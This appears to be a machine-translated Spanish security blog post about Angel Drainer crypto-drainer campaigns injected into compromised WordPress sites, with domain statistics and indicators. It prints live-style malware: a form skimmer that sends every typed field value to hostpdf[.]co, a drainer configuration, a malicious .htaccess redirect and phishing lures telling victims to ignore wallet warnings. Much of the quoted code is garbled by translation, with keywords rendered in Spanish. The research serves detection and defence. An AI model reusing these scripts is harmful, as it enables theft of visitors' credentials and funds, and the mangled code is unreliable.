Este reciente aumento de actividad maliciosa está marcado por el uso de drenadores de criptomonedas como Angel Drainer , que ha estado implicado en violaciones de seguridad recientes, incluido el incidente de diciembre con el Ledger Connect Kit . Estos ataques aprovechan tácticas de phishing e inyecciones maliciosas para explotar la dependencia del ecosistema Web3 de las interacciones directas con la billetera, lo que presenta un riesgo significativo tanto para los propietarios de sitios web como para la seguridad de los activos de los usuarios.
Nuestro análisis muestra que en 2023 los malos actores crearon más de 20.000 sitios de phishing Web3 únicos con varios tipos de drenaje de criptomonedas. En los primeros dos meses de 2024, rastreamos al menos tres campañas de malware no relacionadas que comenzaron a utilizar drenadores de criptomonedas en ataques a sitios web. Más notablemente, nuestro escáner remoto de sitios web SiteCheck ha detectado la variante más grande (que utiliza Angel Drainer) en más de 550 sitios solo desde principios de febrero. PublicWWW muestra esta inyección en 432 sitios al momento de escribir este artículo. Angel Drainer ha sido encontrado en 5.751 dominios únicos diferentes durante las últimas cuatro semanas.
En esta publicación, describiremos cómo los delincuentes han comenzado a utilizar drenadores de criptomonedas para monetizar el tráfico a sitios comprometidos. Nuestro análisis comienza con una breve descripción general del panorama de amenazas y la investigación de la Ola 2 (la campaña de infección más masiva) antes de cubrir las estadísticas de escaneo de Angel Drainer, sus predecesores y las variantes más recientes de hacks de sitios web que involucran a los criptodrenadores.
Adopción de criptomonedas, Web3 y Dapps
Atrás quedaron los días en los que nadie había oído hablar de las criptomonedas o las tecnologías blockchain. Desde las ideas iniciales y el surgimiento de Bitcoin, el mundo de las criptomonedas ha pasado por muchas etapas de adopción:
- Adopción temprana por parte de algunos entusiastas de la tecnología
- Inversiones especulativas de alto riesgo
- Crecimiento explosivo en la cantidad de monedas alternativas y plataformas blockchain, incluido Ethereum con contratos inteligentes
- Startups que recaudan fondos a través de ofertas iniciales de monedas (ICO)
- Reconocimiento generalizado y participación institucional en la década de 2020, cuando las principales casas de bolsa comenzaron a ofrecer operaciones con criptomonedas.
- Hace apenas un mes, el regulador de valores de EE. UU. aprobó los primeros fondos cotizados en bolsa (ETF) que cotizan en EE. UU. para rastrear bitcoin
El uso de criptomonedas se ha disparado en los últimos años, con miles de monedas y tokens diferentes disponibles. Las estadísticas de explodingtopics.com estiman que al menos mil millones de personas en todo el mundo utilizan criptomonedas en el momento de escribir este artículo.
El crecimiento del malware relacionado con las criptomonedas
Junto con el crecimiento de las criptomonedas, nuestros equipos han observado la evolución del malware y los ataques web relacionados con las criptomonedas, que incluyen:
- Criptomineros del lado del servidor instalados en servidores pirateados
- Los criptomineros del lado del cliente en el navegador se inyectan en páginas de sitios web pirateados.
- Descargas no autorizadas que arrojan varios ladrones de información que son capaces de obtener acceso a carteras criptográficas populares que se encuentran en las computadoras de los usuarios y robar activos.
Web3 y Dapps
Otro lado de la revolución de las criptomonedas que aún no ha ganado mucha atención generalizada (a excepción de la exageración ocasional de NFT) pero que ha experimentado un crecimiento exponencial en los últimos años es el llamado ecosistema Web3.
¿Qué es Web3?
Para aquellos que aún no están familiarizados con el término, Wikipedia define Web3 de la siguiente manera:
Web3 (también conocida como Web 3.0) es una idea para una nueva versión de la World Wide Web que incorpora conceptos como descentralización, tecnologías blockchain y economía basada en tokens.
Otros términos que la gente suele utilizar cuando se habla de Web3 son Dapps (aplicaciones descentralizadas) y DeFi (finanzas descentralizadas).
Según el Informe de la industria 2023 de DappRadar , la industria Dapp tuvo un crecimiento interanual del 124% en 2023 con 4,2 millones de billeteras activas únicas que acceden a aplicaciones descentralizadas y más de $100 mil millones en valor total bloqueado solo en el sector DeFi.
Lo importante en el contexto de esta publicación es el hecho de que la mayoría de estas DApps requieren que los usuarios conecten sus billeteras criptográficas a sitios Web3 para poder usarlas. Y la base de usuarios de DApp en rápido crecimiento se está acostumbrando cada vez más a los sitios web que les solicitan que realicen algunas acciones con sus billeteras.
Un aumento de las amenazas de malware Web3 y Dapp
Como siempre, el ecosistema Web3 con millones de usuarios y miles de millones de dólares involucrados no pasó desapercibido para los ciberdelincuentes. DappRadar estima que se perderán 1.900 millones de dólares debido a todo tipo de hacks y estafas sólo en 2023. Y aunque la mayoría de las pérdidas pueden atribuirse a todo tipo de estafas como “rug pull” o “ataques de préstamos rápidos”, el número de ataques dirigidos a usuarios de Dapps crece constantemente.
Una de estas amenazas Web3 más nuevas incluye varios sitios de phishing que se hacen pasar por Dapps legítimos y utilizan los llamados scripts "drenadores" para engañar a los visitantes para que conecten sus billeteras con algún pretexto benigno al sitio de phishing y luego drene todos los activos enviándolos a billeteras de terceros. . Múltiples drenajes rastreados son responsables de robar tokens por valor de más de cien millones de dólares. Estimamos que cada día se crean cientos (si no miles) de sitios de phishing Web3 con drenajes de criptomonedas.
Con eso en mente, comencemos nuestro análisis de malware.
Ola 2: Inyección maliciosa en la opción “hefo”
Recientemente nos encontramos con una inyección interesante que encontramos en al menos unos cientos de sitios web . Originalmente constaba de tres guiones, pero desde entonces ha evolucionado hasta utilizar cuatro en la última variación.
Aunque la infección no se limita a los sitios de WordPress, normalmente encontramos este malware inyectado en la opción " hefo " de la base de datos de WordPress. Pertenece al popular complemento “ Inyecciones de encabezado, pie de página y publicaciones ”.
En este momento no tenemos ninguna evidencia de que el complemento en sí fuera el punto de entrada. Lo más probable es que los atacantes simplemente instalen este complemento para que la inyección parezca más legítima (vemos que este enfoque se emplea en otras campañas de malware). Pero en todos los casos, los sitios web infectados también tenían otros tipos de malware presentes en el entorno comprometido (más comúnmente SocGholish ).
El primer script en esta inyección monitorea los formularios web en una página y envía valores de entrada junto con los nombres de los campos a hxxps://hostpdf[.]co/pinche.php . Definitivamente se trata de una actividad de suplantación de identidad , pero en este momento no estaba claro qué tipo de información se supone que debe robar (detalles de pago, credenciales u otra cosa).
El segundo guión tiene muchos comentarios pero su propósito no queda claro de inmediato. Agrega la clase " connectButton " a cada enlace y botón de la página web.
El tercer script se carga desde un servidor de terceros hxxps://billlionair[.]app/cachingjs/turboturbo.js .
En el momento del descubrimiento de la inyección, ambos dominios tenían solo unos días de antigüedad.
- hostpdf[.]co registrado el 2 de febrero de 2024
- aplicación billillionair[.] registrada el 30 de enero de 2024
Se utilizó Namecheap para registrar ambos dominios, que también utilizan los servidores de nombres Namecheap registrador-servers.com. Están alojados en 185.216.70.94 (EE. UU.) y 87.121.87.178 (Bulgaria), respectivamente.
Nuestro análisis reveló que se trataba de un ataque bastante nuevo, por lo que comenzamos nuestra investigación sobre el propósito de este malware.
Suplantación de la plataforma de apuestas BillionAir Web3: billionair[.]app
El sitio web billlionair[.]app (nota 3 l en la palabra bi lll ion) se presenta como un boletín de crecimiento personal pero al mismo tiempo utiliza una marca que se parece a BillionAir, la plataforma de juegos de azar Web3.
DE ACUERDO. ¿Qué tipo de guión se puede esperar que se inyecte desde un nuevo sitio incompleto que se hace pasar por una plataforma Web3 y afirma haber ayudado a más de 18.800 personas? Nada bueno, ¿verdad? Vamos a ver.
El script cachingjs/turboturbo.js
El script hxxps://billlionair[.]app/cachingjs/turboturbo.js ( ver en URLScan.io ) cargado en la página web es enorme: 1,7 MB .
La mayor parte de este código es un binario WebAssembly codificado en base64.
A . exportaciones = " datos: aplicación/wasm; base64, AGFzbQEAAAABOApgAX8Bf2ABfwBgAABgA39…
Código de configuración
Pero, afortunadamente para nosotros, el comienzo del script es un código de configuración de texto plano que dice mucho sobre el propósito del script:let ACCESS_KEY = ' 6922a2c8-d1e9-43be-b201-749543d28fe1 '
let USE_W3M_V3 = true let logPromptingEnabled = true ; deje mínimoDrainValue = 0.001 ; let mainModal = ' w3m ' let ChooseWalletTheme = ' dark ' ; let themeVariables = { ' --w3m-z-index ' : 10000 , ' --w3m-overlay-backdrop-filter ' : ' blur(6px) ' , } ; let w3m_name = " " ; let w3m_description = " " ; dejar w3m_url = " " ; let w3m_icons = [ ' ' ] ; let multiplicadores = { ' LP_NFTS ' : 1 , ' PERMIT2 ' : 1 , ' BLUR ' : 1 , ' SEAPORT ' : 1 , ' SWAP ' : 1 , ' TOKENS ' : 1 , ' NFT ' : 1 , ' NATIVOS ' : 0,1 , } ; let notEligible = " Para evitar el spam, ¡su billetera debe tener al menos 100 $ en saldo! " ; let swal_notEligibleTitle = " Saldo insuficiente " ; let AddressChanged = " La dirección de su billetera ha cambiado, " emergenteCerrar " ; dejar popupCode = ` ` ; let messageElement = " mensajeButton " ; let textInitialConnected = " Cargando... " ; let textProgress = " Verificando... " ; let Success = " Por favor, apruebe " ; let falló = " Inténtalo de nuevo " ; dejar logIpData = verdadero ; let logEmptyWallets = false ; let logDrainingStrategy = verdadero ; let repetirMás alto = verdadero ; dejar retry_changenetwork = 3 ; let eth_enabled = verdadero ; let bsc_enabled = verdadero ; let arb_enabled = verdadero ; let polygon_enabled = verdadero ; let avalanche_enabled = verdadero ; let optimism_enabled = true ; let ftm_enabled = verdadero ; let celo_enabled = verdadero ; let cronos_enabled = verdadero ; let base_enabled = verdadero ; dejar autoconectar = falso ; let useSweetAlert = verdadero ; dejar popupEnabled = verdadero ; let useDefaultPopup = true ; let canClosePopup = verdadero ; let buttonMessagesEnabled = false ; let twoStep = false ; let twoStepButtonElement = " startButton " ; let connectElement = " connectButton "; let infura_key = " bf50752762404601a4e90151e2b3eeb3 " ; let wc_projectid = " 6ccd301fd310ccbc0cd46588c41a6f1c " ; dejar cfgversion = 680 ; let investigadores = [ ] ; let experimental = { " disable-w3m-featured " : verdadero } ;
En la primera línea vemos algo de ACCESS_KEY representado en formato UUID (Identificador único universal).
Y a lo largo de las variables de configuración encontramos muchas otras palabras clave relacionadas con las criptomonedas fácilmente reconocibles, como: billetera , token , NFT, así como muchos términos técnicos y nombres de plataformas específicos de Web3 menos conocidos: BSC (Binance Smart Chain), ETH (Ethereum), FTM. (Fantom), Cronos , Polygon , Optimism , Infura , etc. Entonces, tal vez despersonalizar un proyecto Web3 no fue una coincidencia…
También vemos let connectElement = “connectButton”; código que está relacionado con la segunda inyección.
Finalmente, encontramos mensajes bastante descriptivos que revelan el propósito del guión.
let notEligible = " Para evitar el spam, ¡su billetera debe tener al menos 100 $ en saldo! " ; let swal_notEligibleTitle = " Saldo insuficiente " ; let AddressChanged = " La dirección de su billetera ha cambiado, conecte la billetera nuevamente, por favor " ; let swal_addressChangedTitle = " Dirección cambiada " ; . . deje mínimoDrainValue = 0.001 ; let logDrainingStrategy = verdadero ;
Dar sentido a los scripts inyectados con la ventana emergente "conectar billetera"
Aparentemente, este script está diseñado para mostrar una serie de mensajes engañosos para hacer que un visitante del sitio web conecte su billetera al sitio y firme una solicitud (contrato inteligente) que brinda a los atacantes acceso completo a los fondos almacenados en la billetera. Una vez firmados, los fondos se transfieren a una billetera de terceros y luego se comparten entre el atacante y los operadores de Angel Drainer (el código de configuración nos ayudó a conectar el Drainer a este mal actor específico).
Para que esta ventana emergente " conectar billetera " sea menos repentina para los visitantes del sitio pirateado, el segundo script inyectado agrega la clase " connectButton " a todos los botones y enlaces en una página web pirateada para que la interacción de phishing comience solo una vez que el visitante haga clic en un enlace o un botón y espera algunos cambios en las páginas web.
Hablando francamente, la ventana emergente " Connect Wallet " no es lo que espero ver cuando normalmente hago clic en cualquier sitio web aleatorio y no espero mucho éxito con este enfoque, pero probablemente no sea el tipo de visitante al que se dirige esta campaña. en.
De todos modos, en este contexto, lo más probable es que el primer script esté diseñado para interceptar todos los datos del formulario que los usuarios puedan ingresar mientras conectan sus billeteras y autorizan transacciones.
Solicitudes sospechosas inicializadas por el escurridor
Para conectar la billetera de los visitantes y realizar transacciones, el drenaje contacta las siguientes API y servicios legítimos de Web3.
- rpc.ankr.com/eth
- ethereum.publicnode.com
- eth.meowrpc.com
- api.web3modal.com/getWallets
- relé.walletconnect.com
- verificar.walletconnect.com
- wss://www.walletlink.org/rpc
Sin embargo, inspeccionar los scripts que se cargan en la página revela un par de otras fuentes de scripts interesantes.
De esta lista de solicitudes destacan dos:
- hxxps:// lorem[.]ipsum/npm /fallback.js
- hxxps:// rpc.nftfastapi[.]com /config?key=6922a2c8-d1e9-43be-b201-749543d28fe1
Primera solicitud sospechosa: Lorem[.]ipsum
Lorem[.]ipsum no es un sitio real. En el momento de escribir este artículo, la lista de dominios de nivel superior mantenida por la Autoridad de Números Asignados de Internet (IANA) comprende 1451 TLD . Ipsum no es ninguno de ellos. Parece ser simplemente un dominio de marcador de posición que por alguna razón no se reemplaza con un nombre de dominio real.
Otras URL de secuencias de comandos alternativas utilizadas por Angel Drainer incluyen:
- hxxps://cdn-npmjs[.]com/npm/fallback.js
- hxxps://cdnjs-storage[.]com/npm/fallback.js
Si bien el nombre de dominio no es real, nos ayuda a rastrear sitios web con Angel Drainer que comenzó a usarlo el 26 de enero de 2024 . URLScan.io ha registrado más de 10.000 escaneos de sitios de phishing Web3 con el script lorem[.]ipsum en menos de tres semanas.
Estadísticas de sitios de phishing de Angel Drainer con solicitudes de lorem[.]ipsum
Realizamos un análisis rápido de sitios web con solicitudes lorem[.]ipsum escaneadas por URLScan.io durante el período del 26 de enero de 2024 al 21 de febrero de 2024 (27 días/4 semanas). Esto es lo que encontramos.
Nombres de dominio
5751 nombres de dominio únicos ( 213 dominios únicos por día en promedio) con 1957 títulos únicos en páginas escaneadas.
Dominios únicos de segundo nivel
4173 dominios apex (segundo nivel) únicos, con los siguientes 3 SLD principales:
- 530 subdominios de phishing pages.dev (p. ej., Secured-key.pages[.]dev ) – Páginas de Cloudflare.
- 183 subdominios de phishing vercel.app (por ejemplo, coinbase-walletconnectv4.vercel[.]app ) – Vercel
- 139 subdominios de phishing web.app (por ejemplo, paperhold-net.web[.]app ) – Firebase Hosting
TLD únicos
193 TLD únicos con la siguiente distribución:
# Dominios únicos | TLD | Ejemplo |
1.639 | .com | recompensa-memecoin[.]com |
756 | .xyz | migrar-memedefiv2[.]xyz |
564 | .dev | admitir-satoshivm.pages[.]dev |
535 | .aplicación | analizar-trades.web[.]aplicación |
200 | .neto | v3singularidad[.]net |
200 | .io | colección-satoshivm[.]io |
181 | .arriba | www.claim-zetachain[.]arriba |
170 | .org | evento-notcoins[.]org |
148 | .red | sorteo-manta[.]red |
113 | .en línea | protocolos web[.]en línea |
IP y ASN
Encontramos 4289 direcciones IP únicas en ASN con 188 nombres únicos. Los ASN más populares para alojar páginas de phishing Web3 incluyen:
- CLOUDFLARENET, EE. UU.: 53,6 % de dominios únicos (3085)
- AS-HOSTINGER, CY: 14,0 % de dominios únicos (804)
- AMAZON-02, EE. UU.: 7,6 % de dominios únicos (438)
- NAMECHEAP-NET, EE. UU.: 2,9 % de dominios únicos (164)
- FASTLY, EE. UU.: 2,8 % de los dominios únicos de sitios de phishing (160)
Títulos de páginas de phishing comunes
Estos son los 50 títulos más comunes para las páginas de phishing Web3 (de 1957 títulos únicos):
Título de la página de phishing | # Dominios |
Capa alternativa | Acelere el escalado para Web3 | 106 |
satoshivm | 75 |
Gota | Mar abierto | 74 |
Dymension: hogar de las RollApps | 68 |
Pandora | 67 |
Seiyanos | Colección divertida de menta | 60 |
Dapps descentralizadas: estamos unificando Web3 brindando el mejor soporte de su clase, con autocustodia y multicadena. | 57 |
manos de papel | 57 |
Kavá | Llevando al mundo a Web3 | 57 |
Explosión Big Bang | 53 |
Lanzamiento aéreo de Manta | 45 |
Pandoshi – Ecosistema DeFi para la comunidad | 42 |
Lanzamientos aéreos | Cadena Nibiru | 42 |
ciberlama | 41 |
Programa Mavia Pioneer AirDrop | 37 |
Zeta Hub | 37 |
\n Dapps descentralizadas: estamos unificando Web3 brindando el mejor soporte\n de autocustodia y multicadena de su clase\n | 35 |
moneda de cerdo | 33 |
Vulcano | La herramienta de autenticación de billetera más segura | 33 |
Píxeles: un nuevo tipo de juego | 30 |
Red Manta | La cadena de bloques modular para aplicaciones ZK | 30 |
Comprar Esponja V2 | Ficha de meme comunitario 100x | 27 |
Capa 2 | ethereum.org | 27 |
\n Solución inteligente para procedimientos de billetera sencillos\n | 25 |
Collab.Land ConnectWalletConnectSVG/bw_light_large_mewconnect | 25 |
Starknet | 25 |
Estación Júpiter | 25 |
Pepe 2.0 | 24 |
Ganar | Encuentra lanzamientos aéreos de criptomonedas | 24 |
\n Lanzamiento aéreo de Manta\n | 24 |
piedraai | 24 |
MEME POPEYE ¡Invierte en espinacas, cosecha dinero! | 24 |
Intercambio de sincronización | 23 |
Collab.Land Connect | 22 |
Explosión | 22 |
Disposiciones de Starknet: Asignación de tokens STRK a la comunidad Disposiciones de Starknet | 21 |
ZeroLend: protocolo de préstamos en zkSync | 20 |
Inicio | celestia.org | 19 |
Juegos de zypher | 19 |
\n $JUP | Júpiter\n | 19 |
Lanzamiento aéreo de ApeCoin | 18 |
BitDogs | 18 |
Plataforma acumulativa Ethereum Layer 2 – Metis | 17 |
Launchpad XYZ: el hogar de Web3. Preventa ya disponible. | 17 |
WEN | 17 |
$JUP\n | Júpiter | 17 |
Oráculos Blockchain para contratos inteligentes híbridos | Eslabón de la cadena | dieciséis |
Inicio – Capa propia | dieciséis |
Dapps descentralizadas: le ayudamos a resolver sus problemas relacionados con las criptomonedas | dieciséis |
Etereum | 15 |
Segunda solicitud sospechosa: rpc.nftfastapi[.]com
Ahora volvamos a la segunda solicitud sospechosa generada por Angel Drainer en sitios web comprometidos: hxxps:// rpc.nftfastapi[.]com /config?key=6922a2c8-d1e9-43be-b201-749543d28fe1
A primera vista, nftfastapi[.]com parece uno de los servicios API de Web3. Pero hay muchos detalles cuestionables al respecto:
- El dominio es muy nuevo y fue registrado el 19 de enero de 2024 .
- El parámetro clave en la solicitud es exactamente el mismo que ACCESS_KEY que se encuentra en el script de drenaje de aplicaciones billillionair[.] Y es la única solicitud donde se usa este ACCESS_KEY.
- URLScan muestra que este dominio es utilizado por miles de sitios, incluidos 75 dominios únicos que agregaron este script inmediatamente el día de su registro el 19 de enero de 2024. Este nivel de adopción para un nuevo dominio es muy sospechoso.
Como era de esperar, se descubrió que todos los sitios que utilizan rpc.nftfastapi[.]com eran sitios de phishing para Angel Drainer. Los propios dominios del sitio de phishing también eran nuevos. Por ejemplo:
- aplicación-melis[.]io — 2024-01-17
- distribución us[.]org — 2024-01-18
- applebtc[.]co — 2024-01-19
- Etc.
Analizando ACCESS_KEY y enlaces a Rilide Stealer
Rápidamente se hizo evidente que ACCESS_KEY en el script de Angel Drainer es el identificador del cliente/campaña que utiliza Angel Drainer para compartir los tokens robados.
Las búsquedas de ACCESS_KEY aleatorias revelan los dominios del sitio API Angel Drainer que se utilizaron antes de la variante rpc.nftfastapi[.]com :
- rpc.4378uehdkf.com - creado el 15 de enero de 2024.
- rpc.65a044a0023ca.com — creado el 11 de enero de 2024
- rpc.coingecko-priceapi.com — creado el 11 de enero de 2024
- rpc.87634rh4r4r3rfekj.com — creado el 7 de enero de 2024
- rpc.web3modal-api.com — creado el 2 de enero de 2024
- rpc.cloudweb3-api[.]com : creado el 14 de diciembre de 2023.
- rpc.chain-connect-api[.]com — creado el 4 de diciembre de 2023
- rpc.infura-api[.]com — creado el 11 de octubre de 2023
- rpc.getblocks[.]org — creado el 2 de octubre de 2023
- eth.flashbots-builder[.]com — creado el 3 de septiembre de 2023
- eth.rpc-ankr[.]net — creado el 18 de julio de 2023
- rpc.io-walletconnect.com — creado el 4 de junio de 2023
- cloudflare-eth[.]org — creado el 27 de mayo de 2023
- highaf.tobaccosoldiers[.]com — creado el 12 de mayo de 2023
La mayoría de estos sitios están ocultos detrás del proxy CloudFlare.
Curiosamente, para algunos de estos dominios, whois informó al registrante: Mihail Kolesnikov, Moscú, Rusia, lo que nos permite conectarlo a Rilide Stealer a través de este blog de agosto de TrustWave SpiderLabs que también encontró una conexión con Angel Drainer.
Antes de mayo de 2023, Angel Drainer no usaba ACCESS_KEY. Uno de los primeros ACCESS_KEY registrados fue
let ACCESS_KEY = " angel-drainer-es-el-mejor " ;
Historial de escaneo de Angel Drainer
En URLScan.io podemos ver más de 8000 escaneos relacionados con Angel Drainer antes de mayo de 2023. Con estos datos, pudimos rastrear continuamente estos drenajes desde abril de 2022.
Caminando por este camino de la memoria también encontramos algunos sitios "CDN" más agotadores:
- siguientecdnjs[.]com
- navegadoresjsfiles[.]com
- nubecdnjs[.]com
- web3-nubefront[.]com
- unpkgaa[.]com
Mensajes agotadores y tácticas de phishing
Para ayudar aún más a los investigadores y propietarios de sitios web a detectar este malware, hemos seleccionado una serie de mensajes de phishing históricos utilizados por el drenaje en ataques genéricos y dirigidos:
//Genérico const signMessage = ` Bienvenido, \n \n ` + ` Haga clic para iniciar sesión y aceptar los Términos de servicio. \n \n ` + ` Esta solicitud no activará una transacción de blockchain ni costará ninguna tarifa de gas. \n \n ` + ` Dirección de billetera: \n {dirección} \n \n ` + ` Nonce: \n {nonce} ` ; … // Lanzamiento aéreo de NFT const ClaimPageInfo = { title : " CLAIM<br>LISTA BLANCA " , // <br> es un salto de línea shortDescription : " ¡Quedan 12 horas! " , longDescription : " Mientras acuñamos pronto, regalaremos 50 puntos de la lista blanca a las personas ¡Quién nos apoya! ¡Todo lo que necesita hacer es firmar la transacción para verificar su billetera para la fecha de menta! <br>Si ya está en la lista blanca, después de verificar su billetera, será elegible para nuestro lanzamiento aéreo gratuito de NFT. " , ClaimButtonText : " RECLAMACIÓN AHORA " , … //phishing del Jungle Bay Ape Club shortDescription : " MUESTRA TU LEALTAD " , longDescription : " UN TOKEN ES UNA SEÑAL DE QUE HAS SIDO PARTE DE JUNGLEBAY APE DESDE EL INICIO. TE DA ACCESO ANTICIPADO A MERCANCIAS, EVENTOS Y MÁS " , … //Mercedes-Benz NFT const ClaimPageInfo = { title : " Mercedes-Benz NFT Free Mint " , // <br> es un salto de línea shortDescription : " ASEGÚRESE DE QUE SU METAMASK ESTÉ ACTUALIZADA, SI VE UN MENSAJE 'Firmar este mensaje puede ser peligroso', firme y actualice su Metamask después de aquí -> https://metamask.io/download/ Estamos trabajando con desarrolladores para resolver este problema. ¡Perdón por el ruido! " , descripción larga : " Mercedes-Benz se asoció con el colectivo internacional de criptoartistas, ART2PEOPLE, para su primer proyecto artístico de token no fungible (NFT), denominado NF-G. El brote comienza el 7 de julio " .
Como habrás notado, estos mensajes alientan a los visitantes a conectar sus billeteras y firmar algún contrato inteligente con un pretexto bastante benigno. Puede ser “aceptar algunos términos de servicio” o reclamar tokens gratuitos (airdrop).
Para que la gente piense que es seguro, los atacantes añaden el texto de que firmar el contrato no generará ningún coste. Esta pura mentira es posible porque algunas billeteras tienen limitaciones para mostrar los detalles de los contratos inteligentes (por ejemplo, billeteras de hardware con pantallas pequeñas) y los usuarios tienen que recurrir a la firma ciega sin comprender todas las implicaciones de esta acción.
Algunas billeteras como MetaMask pueden advertir a los usuarios diciendo "Firmar este mensaje puede tener efectos secundarios peligrosos"; El drenaje soluciona esto informando a la víctima que el mensaje es causado por una versión desactualizada de MetaMask y que los usuarios deben firmar el contrato de todos modos y actualizar su billetera luego.
Desafortunadamente, a cualquier víctima de este ataque que crea en las falsas promesas se le vaciarán las billeteras poco después de firmar.
Ola 1: predecesor del ataque multimillonario[.]a la aplicación
Repasemos por un momento los ACCESS_KEY de Angel Drainer.
La versión billionair[.]app del escurridor utiliza la ACCESS_KEY “ 6922a2c8-d1e9-43be-b201-749543d28fe1 ”. Si buscamos esta clave en URLScan.io , encontramos que también se usó en sitios de phishing Web3.
- aplicación tradinglabs[.]
- multimillonario[.]com
- calzoom[.]com
- paulmulleraacadémico[.]com
- regalomásyondwealth[.]com
- Melstroy[.]por
Billionalr[.]com y tradinglabs[.]app (87.121.87.177) están alojados en la misma red (SOUZA-AS, BR) que la aplicación billillionair[.] inyectada (87.121.87.178). Esta red es conocida por alojar sitios de phishing Web3.
Sabiendo que la aplicación tradinglabs[.] y la aplicación billillionair[.] están relacionadas, podemos identificar el predecesor de estas inyecciones de script Angel Drainder en sitios pirateados. A finales de enero de 2024, nuestro equipo de eliminación de malware ya había limpiado algunos sitios con la siguiente inyección de .htaccess .# Regla de redireccionamiento
RewriteCond % { REQUEST_URI } ! wp - control [ NC ] RewriteRule ^ ( . * ) $ hxxps : //tradinglabs[.]aplicación [L,R=302]
Estas reglas de redireccionamiento redirigen a los visitantes al sitio de la aplicación phishing tradinglabs[.] URLScan.io también nos muestra que las solicitudes de sitios de terceros se redirigen allí.
En algún momento, los sitios pirateados también redireccionaban a la aplicación minetrix[.] (misma IP).
Después de probar este método de redireccionamiento durante un breve período, los atacantes decidieron cambiar a inyecciones de JavaScript a principios de febrero. La inyección incluye el script Angel Drainer que se carga desde hxxps://billlionair[.]app/cachingjs/turboturbo.js y un ladrón de datos de formulario que envía datos a hxxps://hostpdf[.]co/pinche.php .
Ola 3: enlaces dinámicos[.]inyecciones de drenaje de cfd
Mientras escribíamos esta publicación, la inyección volvió a cambiar. El 14 de febrero de 2024, los atacantes registraron un nuevo dominio enlaces dinámicos[.]cfd (93.123.39.199) e inmediatamente comenzaron una nueva ola de infecciones de sitios web que utilizan enlaces dinámicos[.]cfd/cachingjs/turboturbo.js en lugar de billillionair[.] aplicación/cachingjs/turboturbo.js .
< script id = "deule" > función generarRandomString ( t ) { const e = " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 " ; sea n = " " ; for ( sea o = 0 ; o < t ; o ++ ) { const t = Matemáticas . piso ( 62 * Matemáticas . aleatorio ( ) ) ; norte += mi . charAt ( t ) } return n } const uid = generateRandomString ( 10 ) ; función sendPostRequest ( t , e ) { const n = new URLSearchParams ; n . append ( " uid " , uid ) , n . append ( " i_name " , t ) , //Agrega el nombre del campo como parámetro n . agregar ( " b " , btoa ( e ) ) , buscar ( " https://hostpdf[.]co/pinche.php " , { método : " POST " , encabezados : { " Tipo de contenido " : " aplicación/x -www-form-urlencoded " } , cuerpo : n . toString ( ) } ) . entonces ( ( t = > t.text ( ) ) ) . _ _ entonces ( ( t = > console . log ( t ) ) ) . catch ( ( t = > consola . error ( " Error: " , t ) ) ) } documento . addEventListener ( " input " , ( function ( t ) { if ( " INPUT " === t . target . tagName && " botón " !== t . target . type ) { sendPostRequest ( t . target . name || t . objetivo.id , t.objetivo.valor ) } } ) ) ; _ _ _ _ _ _ </script> <script> var botones = documento . _ _ _ _ querySelectorAll ( ' botón ' ) ; var enlaces = documento . consultaSelectorAll ( ' a ' ) ; botones. forEach ( función ( botón ) { botón.listaclase.add ( ' conectarBotón ' ) ; } ) ; _ _ _ _ Enlaces . forEach ( función ( enlace ) { enlace.classList.add ( ' connectButton ' ) ; } ) ; _ _ _ _ </ script > < script id = "deule2" src = "hxxps://dynamiclinks[.]cfd/cachingjs/turboturbo.js" > </ script > < script id = "deule3" > var e1 = documento . getElementById ( " dos " ) ; si ( e1 ) { e1 . nodopadre . eliminarNiño ( e1 ) ; } var e2 = documento . getElementById ( " deule2 " ) ; si ( e2 ) { e2 . nodopadre . eliminarNiño ( e2 ) ; } var e3 = documento . getElementById ( " deule3 " ) ; si ( e3 ) { e3 . nodopadre . eliminarNiño ( e3 ) ; } </ guión >
Esta vez, turboturbo.js no era el enorme script Angel Drainer de 1,7 MB que vimos en la variante billillionair[.]app, sino más bien un script corto de 3 Kb de longitud que realiza la inicialización y luego carga la configuración del drenaje y el script real desde URL externas. :
… configuración constanteScript = documento . crearElement ( ' script ' ) ; configuraciónScript . src = ' hxxps://dynamiclinks[.]cfd/cachingjs/settings.js ' ; const sillaScript = documento . crearElement ( ' script ' ) ; sillaScript . src = ' hxxps://jscdnweb.pages[.]dev/chair.js ' ; sillaScript . tipo = ' módulo ' ; …
jscdnweb.pages[.]dev/chair.js escurridor
Esta vez, los datos del archivo settings.js están cifrados y no se pueden leer fácilmente.
const selfHostSettings = ' 081427170c353f01355e230109253f1d0f00091724071d5a240309050f2a1501092b545f3735271d3700010734353f1d0f5f5904 …
Sin embargo, el análisis del código en hxxps://jscdnweb.pages[.]dev/chair.js revela el algoritmo de descifrado que involucra combinaciones de XOR y base64.
Como resultado de la decodificación podemos ver esto:
{ " configuración_sitio " : { " wallet_verification " : falso , " contract_method " : " Conectar " , " modal_type " : " wallet_connect_v3 " , " modal_open_event " : " on_load " , " modal_theme " : " auto " , " messaging_bot " : " 6688811727:AAFejPh-gLptC3slKDz2dIucYsqDAyu8k5c " , " messaging_chat " : " -1002004375945 " , " wc_font " : " " , " wc_accent_color " : " #2ea3f2 " , " wc_fill_color " : " " , " wc_background_color " : " " , " wc_logo " : " " , " wc_background_image " : " " , " loop_token " : verdadero , " chain_tries_limit " : 1 , " auto_payouts " : verdadero , " loader_type " : " cometa " , " modal_open_logic " : " single " , " enter_website " : falso , " connect_request " : verdadero , " connect_success " : verdadero , " exit_website " : falso , " aprobar_request " : verdadero , " chain_cancel " : verdadero , " chain_request " : verdadero , " aprobar_cancel " : verdadero , " profit_chat " : " -1002004375945 " , " permit_priority " : verdadero , " cantidad_permiso " : 100 , " modal_pallete " : " aqua-theme " , " modal_font " : " font-open-sans " , " nft_mode " : verdadero , " permit_mode " : verdadero , " minimal_wallet_price " : 10 , " precio_token_mínimo " : 10 , " precio_nativo_mínimo " : 10 , " modo_aprobación " : " transferencia " , " cache_data " : verdadero , " swappers_mode " : verdadero , " chat_language " : " en " , " gracias_redirect " : falso , " gracias_redirect_url " : " " , " loader_text " : { " conectar " : { " descripción " : " Conectándose a Blockchain... " } , " connect-success " : { " descripción " : " Conexión establecida " } , " dirección-comprobación " : { " descripción " : " Obteniendo la dirección de su billetera ... " } , " aml-check " : { " descripción " : " Comprobando si hay AML en su billetera... " } , " aml-check-success " : { " descripción " : " ¡Bien, tu billetera está libre de AML! " } , " scaning-more " : { " descripción " : " Espere, estamos escaneando más detalles... " } , " gracias " : { " descripción " : " ¡ Gracias! " } , " sign-validation " : { " descripción " : " Confirmando tu firma... ¡Por favor, no abandones esta página! " } , " 